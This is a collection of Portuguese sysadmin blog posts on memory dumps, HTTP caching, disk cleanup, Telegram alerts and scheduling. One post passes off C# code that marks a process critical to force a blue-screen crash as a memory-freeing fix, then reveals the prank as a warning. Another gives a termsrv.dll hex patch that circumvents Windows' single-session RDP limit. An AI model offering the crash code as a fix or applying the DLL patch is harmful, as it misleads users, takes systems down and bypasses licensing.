Existem cenários que você precisa entender o que está acontecendo no ambiente, na sua aplicação, no SO, reiniciar a máquina e perder o que está acontecendo não é uma opção.
Se a aplicação é consistente na geração de Logs, ou o Windows consegue manter os logs de um problema enquanto a maquina está “travada” já ajuda consideravelmente, mas existem cenários que infelizmente tudo para de uma tal forma que infelizmente só um reboot salva, mas vc vai perder a rastreabilidade do problema.
Para situações como essa, alguns servidores possuem bem próximo ao botão de liga/desliga um outro botão de interrupção do SO onde força o despejo de memória através de uma Tela Azul da Morte para o arquivo de dump para uma análise posterior do ocorrido (verificar o manual do seu fabricante).
Para outros cenários, principalmente quando você não tem acesso ao servidor físico, existe a opção de adicionar duas chaves de registro que vão gerar esse BSOD no seu Windows (Cliente ou Servidor).
Windows Registry Editor Version 5.00
; For PS/2 keyboards
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters]
"CrashOnCtrlScroll"=dword:00000001
; For USB keyoards
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdhid\Parameters]
"CrashOnCtrlScroll"=dword:00000001
Adicionadas estas chaves, reinicie o seu Windows.
Pressionando CTRL + 2x Scroll Lock o Windows vai iniciar o processo da Tela Azul.
Atenção !!!
Existem outras configurações necessárias para que isso funcione direito e você tenha o que analisar !
Espaço em disco (Normalmente ninguém se preocupa onde está o Page File nem mesmo a configuração do Dump)
Configuração do Dump (Se você nunca mexeu ele é Full RAM e vai gerar o arquivo na unidade C)
Mais espaço em Disco (A geração do arquivo de Dump vem com a memória RAM e o conteúdo do PF, no final do processo o Windows gera um PF novo)
Tempo (é totalmente variável já que trata-se de toda a memória da maquina sendo armazenada em um arquivo, quanto mais RAM usada maior é o arquivo)
Se você conseguir gerar um dump bem sucedido, vai conseguiu analisar com o WinDBG.
Cache-Control é um cabeçalho HTTP que consiste em um conjunto de configurações que permite com que você especifique como, quando e por quanto tempo um um cache acontecerá.
Quando você visita um website, seu browser copia partes dos componentes desse website para um diretório para que experiência seja mais rápida. Quando você revisita esse site muitas partes do site não são carregadas do servidor web, mas sim do cache que está na sua maquinas, você pode usar o Cache-Control para definir as regas de como esses conteúdo será carregado, como por quanto tempo o browser pode fazer cache, se ele vai fazer cache de algum componente ou algum tipo de arquivo específico.
É importante entender que cache é muito bom para a experiência do usuário final, fazê-lo ter que ir até seu servidor web para todas as requisições pode fazer a experiência com seu produto ser desagradável, mas é muito mais importante você entender o que realmente pode ficar na máquina do usuário e o que deve ser carregado dinamicamente desconsiderando o lado do usuário, afinal, dependendo do seu tipo de conteúdo, uma página mau configurada, um componente mau testado, ou um chat-bot onde precisa existir uma comunicação mais dinâmica pode ser impactado.
Cache-Control: no-cache
no-cache significa que o recurso não pode ser reutilizado sem primeiro ser checado se ele foi alterado ou atualizado em sua origem. Usualmente um cabeçalho ETag é usado para isso.
Cache-Control: no-store
no-store é similar ao no-cache onde o conteúdo não pode ser reutilizado nem cacheado. Entretanto, diferente da outra opção o no-store força que todo o conteúdo seja baixado novamente da fonte, desconsiderando a ETag.
Cache-Control: public
Uma resposta contendo public significa que está autorizado que o cache seja feito por qualquer parte envolvida, não apenas o cliente final, neste caso estamos falando de caches intermediários como proxys, gateways, CDN’s, etc.. Para essa situação é recomendado que seja adicionado o max-age afim de garantir que em algum momento o cache tando to usuário final quanto do intermediário sejam limpos.
Cache-Control: private
A opção private significa que apenas o browser do solicitante pode fazer cache do conteúdo, e os intermediários não devem fazer cache do conteúdo.
Cache-Control: max-age=<seconds>
Esta opção indica ao browser por quanto tempo ele deve considerar o conteúdo daquele cache como passível de utilização, após o termino desse tempo novas requisições devem recarregar todo o conteúdo.
Cache-Control: s-maxage=<seconds>
s-maxage é similar ao max-age. O “s” significa shared e é relevante apenas para os CDNs ou outro cache intermediário. Esta opção sobrescreve o max-age e expires.
Cache-Control: no-transform
Caches intermediários podem, as vezes, alterar o formato ou compressão das imagens para melhorar a performance. O no-transform diz aos intermediários para que não alterem o formato das imagens.
Exemplos de implementação:
Web Pages (HTML)
Para as páginas WEB (HTML) adicione as seguintes tags <meta> nas páginas que você quer que o controle de cache seja diferente do browser (lembrando que o código precisa estar na sessão <head> da página):
Quem nunca foi acionado ou recebeu um alerta de falta de espaço em disco e não fazia ideia de onde estava a ocupação do disco?
Existem várias formas de ocupar espaço no disco e dar dor de cabeça para o administrador Windows, nesse post vou comentar da que, no meu ponto de vista, é a mais chata o diretório do “System Volume Information”.
Quem é esse tal de “System Volume Information”?
Esse diretório contém informações sobre a indexação do disco
Informação de Quota NTFS
Dados do sistema de ponto de restauração e backup usando Windows Server Backup
Dados para backup usando algumas ferramentas de backup
Se você usa “Shadow copy” cada nova versão de VSS snapshot salva dados nesse diretório
etc.
Você não deveria se preocupar com os dados desse diretório, onde a ferramenta que está gerando os dados e versionamentos de arquivos nesse diretório deveriam limpar os dados e tocar a vida, mas como trabalhamos com TI e não necessariamente as ferramentas fazem o que deveriam fazer, vamos fazer o trabalho de identificar e limpar essa estrutura.
Pelo “Windows Explorer” originalmente esse diretório não é exibido, você precisa alterar as configurações de exibição para mostrar arquivo e diretórios ocultos do sistema.
Quando tentar acessar vai receber erro de acesso negado mesmo você sendo o administrador do sistema.
Agora que você já sabe quem é esse diretório, já sabe que ele existe, já viu onde ele está, para calcular o espaço ocupado por ele você vai abrir o prompt de comando em modo administrador e vai digitar:
vssadmin list shadowstorage
Se tiver alguma coisa configurada com o ” System Volume Information” ele deve apresentar um resultado parecido com:
Legal, agora temos informações de quanto o espaço máximo pode ser alocado para os recursos e o quanto está realmente alocado.
Se o valor estiver com configuração “UNBOUNDED” quer dizer que o céu é o limite, ou o espaço total do disco, o que acabar primeiro…
Para exemplificar, vamos colocar o limite para a letra C: em 2GB
Ele vai escrever que redimensionou o espaço para o serviço de shadow copy.
Você pode trocar o /maxsize=XGB para porcentagem também, ai fica /maxsize=10%
Se você cria backups de “system state” o windows também cria essa estrutura na letra C:, para apagar eles você pode rodar:
wbadmin delete systemstatebackup -keepversions:0
Isso deve ser o suficiente para limpar esses diretórios das suas unidades, agora entender por que eles estão sendo alimentados para evitar que isso ocorra novamente? corre atrás do pessoal de backup…
Como DBA´s estamos sujeitos a jobs, alertas, sistemas, coisas do além, gerentes, desenvolvedores, intervenções místicas, etc. executando ações no banco de dados.
Não da pra ficar olhando de perto o ambiente a todo o momento analisando cada ação, monitorando tudo o que ocorre, se preparando para o pior.
Sendo um bom DBA, você deve ter um monte de Jobs, Alertas, Operadores, Sistemas de Monitoração, aquele estagiário sendo escalpelado, entre outras formas de monitorar seus bancos, a ideia aqui é trazer mais uma opção para atazanar sua vida monótona.
Vamos a receita do desastre,,, Para isso vamos precisar:
Que você tenha uma conta no Telegram
Instale o aplicativo do Telegram no seu Windows
Crie um Bot
Configure o Bot
Crie um canal e adicione esse Bot como administrador a um canal
Mande uma mensagem para esse canal para criar um ID
Acesse uma URL do Telegram com a chave do BOT para pegar o ID do canal
Crie uma função no Powershell
Declare a variável com o nome do Bot e a chave
Mande uma mensagem
Vamos começar,,,
Conta do Telegram
PQ está lendo essa parte? vai para a próxima,,, se não sabe fazer isso nem adianta continuar…
Instale o aplicativo do Telegram no seu Windows
Esse ponto é interessante, acesse o cliente web do Telegram e baixe a versão para seu SO, as configurações do Bot serão feitas através do cliente e não pelo celular ou Web
Crie um Bot
Com sua contra criada e app instalado, acesse essa URL https://t.me/BotFather . Ele é o Bot que cria os Bot´s
Para criar digite /start
Depois digite /newbot
De um nome para seu Bot
Agora crie um username para seu bot, ele tem que terminar com bot
Você vai receber uma mensagem de resposta com um textão e a parte que interessa que é o TOKEN. ANOTA ISSO!
Aqui vale uma dica, o Bot vai aparecer em pesquisa para qualquer pessoa que use o Telegram, mas só quem tem o token vai poder realmente usar ele.
Configure o Bot
Adicione uma descrição para ele, uma hora você ou alguém vai fazer manutenção e vai ter que lembrar para que ele serve
Usando /setdescription adicione uma descrição
Crie um canal e adicione esse Bot como administrador a um canal
Agora usando o cliente do SO, Web ou o app do celular, crie um canal no Telegram e deixe como privado.
Adicione um novo membro para esse canal, nesse caso o seu Bot, vai aparecer um alerta de que o Bot precisa ser administrador do canal e bla bla bla
Mande uma mensagem para esse canal para criar um ID
Só o fato de criar um canal não efetiva cria o canal, até esse momento ele não tem um ID
Mande uma mensagem qualquer para o canal para ele criar a estrutura com o ID
Acesse uma URL do Telegram com a chave do BOT para pegar o ID do canal
Após mandar a mensagem acesse a URL com o token do seu Bot
a URL é alguma coisa assim: https://api.telegram.org/bot<aquele token do seu Bot>/getUpdates
deixa escrito o nome bot, remove o < e o > e cola o token
deve abrir uma página com alguma coisa parecida com:
O que interessa para nós é um desses últimos “id” que estão com um símbolo de menos na frente “id”:-XXXX
Crie uma função no Powershell
Agora a parte mágica, vamos usar um powershell para criar a função que vai conectar na API do Telegram e mandar a mensagem…
<#
.Synopsis
Sends Telegram text message via Bot API
.DESCRIPTION
Uses Telegram Bot API to send text message to specified Telegram chat. Several options can be specified to adjust message parameters.
.EXAMPLE
$bot = "#########:xxxxxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxx"
$chat = "-#########"
Send-TelegramTextMessage -BotToken $bot -ChatID $chat -Message "Hello"
.EXAMPLE
$bot = "#########:xxxxxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxx"
$chat = "-#########"
Send-TelegramTextMessage `
-BotToken $bot `
-ChatID $chat `
-Message "Hello *chat* _channel_, check out this link: [TechThoughts](http://techthoughts.info/)" `
-ParseMode Markdown `
-Preview $false `
-Notification $false `
-Verbose
.PARAMETER BotToken
Use this token to access the HTTP API
.PARAMETER ChatID
Unique identifier for the target chat
.PARAMETER Message
Text of the message to be sent
.PARAMETER ParseMode
Send Markdown or HTML, if you want Telegram apps to show bold, italic, fixed-width text or inline URLs in your bot's message. Default is Markdown.
.PARAMETER Preview
Disables link previews for links in this message. Default is $false
.PARAMETER Notification
Sends the message silently. Users will receive a notification with no sound. Default is $false
.OUTPUTS
System.Boolean
.NOTES
Author: Jake Morrison - @jakemorrison - http://techthoughts.info/
This works with PowerShell Versions 5.1, 6.0, 6.1
For a description of the Bot API, see this page: https://core.telegram.org/bots/api
How do I get my channel ID? Use the getidsbot https://telegram.me/getidsbot
How do I set up a bot and get a token? Use the BotFather https://t.me/BotFather
.COMPONENT
PoshGram - https://github.com/techthoughts2/PoshGram
.FUNCTIONALITY
https://core.telegram.org/bots/api#sendmessage
Parameters Type Required Description
chat_id Integer or String Yes Unique identifier for the target chat or username of the target channel (in the format @channelusername)
text String Yes Text of the message to be sent
parse_mode String Optional Send Markdown or HTML, if you want Telegram apps to show bold, italic, fixed-width text or inline URLs in your bot's message.
disable_web_page_preview Boolean Optional Disables link previews for links in this message
disable_notification Boolean Optional Sends the message silently. Users will receive a notification with no sound.
reply_to_message_id Integer Optional If the message is a reply, ID of the original message
#>
function Send-TelegramTextMessage {
[CmdletBinding()]
Param
(
[Parameter(Mandatory = $true,
HelpMessage = '#########:xxxxxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxx')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]$BotToken, #you could set a token right here if you wanted
[Parameter(Mandatory = $true,
HelpMessage = '-#########')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]$ChatID, #you could set a Chat ID right here if you wanted
[Parameter(Mandatory = $true,
HelpMessage = 'Text of the message to be sent')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]$Message,
[Parameter(Mandatory = $false,
HelpMessage = 'HTML vs Markdown for message formatting')]
[ValidateSet("Markdown", "HTML")]
[string]$ParseMode = "Markdown", #set to Markdown by default
[Parameter(Mandatory = $false,
HelpMessage = 'Disables link previews')]
[bool]$Preview = $false, #set to false by default
[Parameter(Mandatory = $false,
HelpMessage = 'Sends the message silently')]
[bool]$Notification = $false #set to false by default
)
#------------------------------------------------------------------------
$results = $true #assume the best
#------------------------------------------------------------------------
$payload = @{
"chat_id" = $ChatID;
"text" = $Message
"parse_mode" = $ParseMode;
"disable_web_page_preview" = $Preview;
"disable_notification" = $Notification
}#payload
#------------------------------------------------------------------------
try {
Write-Verbose -Message "Sending message..."
$eval = Invoke-RestMethod `
-Uri ("https://api.telegram.org/bot{0}/sendMessage" -f $BotToken) `
-Method Post `
-ContentType "application/json" `
-Body (ConvertTo-Json -Compress -InputObject $payload) `
-ErrorAction Stop
if (!($eval.ok -eq "True")) {
Write-Warning -Message "Message did not send successfully"
$results = $false
}#if_StatusDescription
}#try_messageSend
catch {
Write-Warning "An error was encountered sending the Telegram message:"
Write-Error $_
$results = $false
}#catch_messageSend
return $results
#------------------------------------------------------------------------
}#function_Send-TelegramTextMessage
Declare a variável com o nome do Bot e a chave
Sendo simplista você vai precisar agora criar duas variáveis a com o nome do Token e o ID do chat
$bot = "token"
$chat = "-ID_do_chat"
Mande uma mensagem
Agora é só chamar a função e mandar a mensagem…
AAHH a máquina precisa ter acesso a internet.
Qualquer mensagem de erro a função vai tentar trazer a mensagem para te ajudar no troubleshooting.
Com isso agora temos um powershell que acessa uma API do Telegram e manda mensagem, junta isso em um JOB que é acionado por um alerta e vc tem o SQL ou outro sistema de monitoração mandando mensagens para seu celular.
Nessa época de pandemia estamos tendo que nos reinventar em muitas coisas que não dávamos importância, que eram tratadas como corriqueiras e bla bla bla… essa história triste todos já sabemos, estamos vivendo ela…
Quem tem criança sabe como está “interessante” ajustar a rotina para acompanhar os estudos, terem aulas online não significa facilidade para os pais, cada um tem seu horário, aulas em horários diferentes e esperar que a criança entenda que ela tem que entrar no link certo para a aula certa, dependendo da idade, pode ser complicado as vezes eles ainda nem sabem os dias da semana.
No nosso caso, a escola manda um arquivo pdf com uma grade para a semana, o mesmo link do zoom para as aulas recorrentes e links destintos para aulas “complementares”, o problema fica que a cada semana eles alteram o horário de inicio das aulas, essa falta de constante complica em se ajustar ao quadro de aula, como temos 2 peças raras e cada um tem uma agenda de inicio de aula diferente com quadro de aulas diferente no inicio da manhã fica uma correria em abrir o link para um em um computador e esperar até a hora do outro para abrir o link para o outro em outro computador, sair de uma “aula” para abrir o link para a outra e ter certeza que abriu o da semana certa no dia certo.
Com essa enrolação de contexto, agora vem a solução, afinal a TI veio para resolver problemas que não tínhamos que ela mesma causou.
O script abaixo ainda é um protótipo, basicamente é um powershell para ler a URL da reunião do Zoom, converter para um padrão usado pelo cliente do Zoom e criar uma tarefa no “Agendador de Tarefas” para que no horário específico ele abra o Zoom e entre na reunião automaticamente.
Como as aulas recorrentes acontecem com o mesmo link de reunião não tive que me importar em conseguir colocar várias execuções para a mesma tarefa do agendador, fica mais prático para organização, eu poderia ter seguido a mesma lógica para as aulas adicionais, mas ficaria um serviço mau feito.
As aulas adicionais são tratadas como tarefas individuais no agendador.
* Comentário 1: eu poderia ter feito um replace mais simples e direto, mas preferi serializar para ficar mais didático.
* Comentário 2: Esse script funciona no Windows 8 para cima, para o Windows 7 estou trabalhando nas modificações de agendamento, pois no 7 os comandos no powershell são diferentes.
* Comentário 3: No “Agendador de Tarefas” crie um diretório chamado “Aulas”, fica mais fácil de organizar
Tenho no meu note o Windows 10 (Version 200514-1410 Build 19631.1) e uso como virtualizador o VMWare Workstation 15 (15.5.2 build-15785246)
Esse Windows 10 faz parte do programa insider, então toda a semana tem uma atualização.
Por que não usar o Hyper-V ? A resposta é simples: Não quero e pronto. A maquina é minha e gosto mais do vmware.
Alinhados quanto a isso, depois que o Windows atualizou para o Build 19000+ o VMWare resolveu parar de funcionar e não iniciava nenhuma máquina. Ele começou a apresentar a mensagem abaixo para qualquer máquina virtual:
Todos sabemos que o SQL é um consumidor de memória frenético, quanto mais memória disponível mais memória ele vai reservar para ele.
O que é um desenho “by default”, ele sempre fará isso afinal de contas ele precisa alocar as páginas de dados do seu banco em algum lugar.
Para resolver todos os seus problemas, existe uma forma de liberar toda a memória disponível de uma só vez do seu servidor e não é parando o serviço do SQL.
Para isso, você vai precisar o Visual Studio instalado, vamos criar um novo projeto dele…
Importante! Abra o Visual Studio como administrador !
Novo projeto de linha de comando
Escreva o nome que quiser para o app
Copie e cole o código abaixo no projeto:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class CriticalProcess
{
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
static void Main(string[] args)
{
int isCritical = 1; // queremos que ele seja um processo crítico
int BreakOnTermination = 0x1D; // valor para BreakOnTermination (flag)
Process.EnterDebugMode(); //acquire Debug Privileges
// configurando o BreakOnTermination = 1 para o processo ativo
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));
}
}
Se tudo ocorrer como esperado, dependendo da quantidade de memória do seu servidor isso pode demorar de alguns segundos a algumas horas.
Por mais que tenhamos criado uma aplicação de linha de comando a primeira parte do processo é bem gráfica e todos já tiveram o grande prazer de conhecer:
Ele vai gerar um DUMP de toda a memória para o arquivo de paginação e depois que a maquina reiniciar ele vai copiar esse arquivo de paginação para um arquivo chamado memory.dump
É só isso,,, execução e queda,,,
Agora falando sério: NUNCA !!!! JAMAIS !!!!! Simplesmente pegue o código de qualquer coisa que você encontra na internet e saia executando sem antes entender o que ele faz.
Esse exemplo é bem ridículo, mas imagina um script que você leu o por alto achando que vai resolver todos os seus problemas de backup, ou de fragmentação de índice e descobre que no meio tem um sp_msforeach_table com um sp_msforeach_db que trunca as tabelas, ou pior, alguém cria uma chave de criptografia e habilita TDE nas suas bases e depois força a remoção da chave,,,, a culpa é tão e somente sua! Você é o DBA é sua responsabilidade preservar os dados.
Tenha discernimento com o que você copia da internet e de onde copia essas informações.
SEMPRE LEIA e NUNCA EXECUTE DIRETAMENTE EM PRODUÇÃO !!!
Você tem sua rotina de backup (FULL, DIFF, LOG) que gera os arquivos de saída como por exemplo BKPFULL_BASE_XPTO_01_DE_04_20181105.bak e coisas parecidas com isso.
Sua ferramenta de backup copia esses arquivos para uma área de staging todos os dias, marcando os arquivo com o bit de arquivado, no dia seguinte você tem um step do job que procura por esses arquivos e apaga ele, afinal, já foram marcados como arquivados pelo software de backup.
Em um certo momento, alguma coisa aconteceu nessa rotina da ferramenta e ela não marcou os arquivos ou simplesmente não rodou.
Para não ficar sem espaço em disco você resolve apagar o arquivo mais antigo do backup deixando pelo menos o mais recente no disco, para um ambiente com poucas bases isso é tranquilo, imagine isso para um ambiente com algumas centenas de bases, em um final de semana prolongado, algumas bases com 3 ou 4 arquivos de backup, outras com apenas 1 arquivo.
O PowerShell abaixo faz um parse no nome do arquivo para agrupar pelo tipo do backup e o nome do banco, procura onde tem mais de uma entrada (imaginando que você separa isso por discos), remove do resultado o mais recente e apaga os mais antigos.
O script não é perfeito, ainda faltam alguns detalhes à serem melhorados, mas já é uma ajuda em casos como esse:
Get-ChildItem "X:\Backup\Disk02\" -file | where Name -match "._(\d{4})(\d{2})(\d{2})" | Where-Object {$_.Attributes -Eq "Normal"} | #Esse Atributo é o que o software de backup marca como retido, retire este Where-Object caso queira desconsiderar isso
select fullname, #@{N="DtFile";E={[DateTime]$_.BaseName.substring($_.BaseName.length -10).replace("_", "-")}},
@{N="FileWithoutDate";E={$_.BaseName.substring(0, $_.BaseName.length -18)}} |
group FileWithoutDate |
where Count -GE 2 |
%{ $_.Group | sort fullname,DtFile -Descending | select -skip 1} | %{Remove-Item $_.FullName -WhatIf}
Imagine o seguinte cenário: você está longe da sua máquina bem potente em casa e quer acessá-la remotamente mas tem outra pessoa utilizando-se dela.
Ou você espera ela parar de usar, ou compartilha o acesso e todos veem o que está sendo feito, ou instala alguma versão server e habilita o TS.
Existe uma solução mais simpática, podemos alterar a DLL responsável pelo gerenciamento do RDP e ele vai se comportar parecido com a versão servidor. Desta forma, caso usuário fica em uma sessão no desktop e compartilham o mesmo hardware ao mesmo tempo.
Legal, como fazer:
Um editor de hexadecimal. (https://mh-nexus.de/en/hxd/)
Pare o serviço do Remote Desktop Net stop TermService
Faça uma cópia da DLL copy c:\Windows\System32\termsrv.dll termsrv.dll_backup
Vamos editar a DLL termsrv.dll
Procure pela linha:
39 81 3C 06 00 00 0F 84 3F 42 02 00
Substitua por:
B8 00 01 00 00 89 81 38 06 00 00 90
Reinicie o serviço do Remote Desktop Net start TermService
Sempre vale lembrar,,, quer fazer essas alterações? É por sua conta e risco. Isso pode não funcionar em algumas versões por questões de atualização da DLL ou modificação da MS.
Não sei se é de conhecimento de todos mas, já faz alguns anos que você pode usar o SHIFT + Botão Direito e vai aparecer uma opção de “Abrir o prompt de comando aqui” e ele vai abrir uma tela do DOS dentro daquela estrutura de diretório.
A mesma coisa vale para qualquer parte vazia na janela de conteúdo.
Isso ajuda? ajuda, mas tem um detalhe chato, ele não abre o prompt elevado e mesmo nas versões mais recentes não tem a opção de powershell. Fora que para abrir tem que pressionar o SHIFT junto.
É possível melhorar isso? claro, senão não estaria escrevendo este post…
Só testei no Windows 10, se alguém testar em outras versões deixa um comentário dizendo se funcionou ou não e em qual versão.
Para isso vamos ter que adicionar algumas linhas de registro.
Sempre vale um ATENÇÃO !!! Se você não sabe alterar, ou tem medinho, de alterar o registro clique aqui.
Para os outros, abaixo tem o que vocês precisam copiar e salvar em um arquivo .reg, após importar o arquivo vocês terão 2 novos menus com o Botão Direito:
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